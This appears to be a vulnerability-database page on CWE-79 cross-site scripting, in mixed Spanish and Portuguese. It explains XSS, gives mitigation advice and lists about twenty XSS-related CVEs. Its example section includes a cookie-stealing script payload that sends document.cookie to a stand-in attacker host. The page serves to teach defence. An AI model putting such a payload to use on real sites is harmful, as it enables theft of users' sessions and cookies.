Fallos del tipo CWE-79

28.647 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2017-6053—A Cross-Site Scripting issue was discovered in Trihedral VTScada Versions prior to 11.2.26. A cross-site scripting vulnerability may allow JEPSS 0.8%CVE-2018-7508—A Cross-site Scripting issue was discovered in OSIsoft PI Web API versions 2017 R2 and prior. Cross-site scripting may occur when input is iEPSS 0.8%CVE-2022-1330CRITICALstored xss due to unsantized anchor url in alvarotrigo/fullpage.jsEPSS 0.8%CVE-2021-43446MEDIUMONLYOFFICE all versions as of 2021-11-08 is vulnerable to Cross Site Scripting (XSS). The "macros" feature of the document editor allows malEPSS 0.8%CVE-2021-24983—Asset CleanUp < 1.3.8.5 - Reflected Cross-Site Scripting via AJAX ActionEPSS 0.8%CVE-2021-23037—On all versions of 16.1.x, 16.0.x, 15.1.x, 14.1.x, 13.1.x, 12.1.x, and 11.6.x, a reflected cross-site scripting (XSS) vulnerability exists iEPSS 0.8%CVE-2021-43853HIGHCross-Site Scripting in AjaxNetProfessionalEPSS 0.8%CVE-2024-41819HIGHNote Mark has a stored XSS in the note link href attributeEPSS 0.8%CVE-2021-1463MEDIUMCisco Unified Intelligence Center Reflected Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2021-24297—Goto < 2.1 - Reflected Cross-Site Scripting (XSS)EPSS 0.8%CVE-2024-6753HIGHSocial Auto Poster <= 5.3.14 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.8%CVE-2021-24136—Testimonials Widget < 4.0.0 - Multiple Authenticated Stored XSSEPSS 0.8%CVE-2020-4061LOWCross-site Scripting in OctoberPotential self-XSS when pasting content from malicious websitesEPSS 0.8%CVE-2024-12883MEDIUMcode-projects Job Recruitment _email.php cross site scriptingEPSS 0.8%CVE-2022-42967HIGHXSS in Caret markdown editor leads to remote code execution when viewing crafted Markdown filesEPSS 0.8%CVE-2023-2660MEDIUMSourceCodester Online Computer and Laptop Store view_categories.php sql injectionEPSS 0.8%CVE-2022-43117MEDIUMSourcecodester Password Storage Application in PHP/OOP and MySQL 1.0 was discovered to contain multiple cross-site scripting (XSS) vulnerabiEPSS 0.8%CVE-2015-9105—Multiple cross-site scripting (XSS) vulnerabilities in Synology Video Station 1.2 before 1.2-0455, 1.5 before 1.5-0772, and 1.6 before 1.6-0EPSS 0.8%CVE-2021-39202HIGHWordPress 5.8 beta: Stored Cross-Site Scripting (XSS) vulnerability in widgetEPSS 0.8%CVE-2023-22933HIGHPersistent Cross-Site Scripting through the ‘module’ Tag in a View in Splunk EnterpriseEPSS 0.8%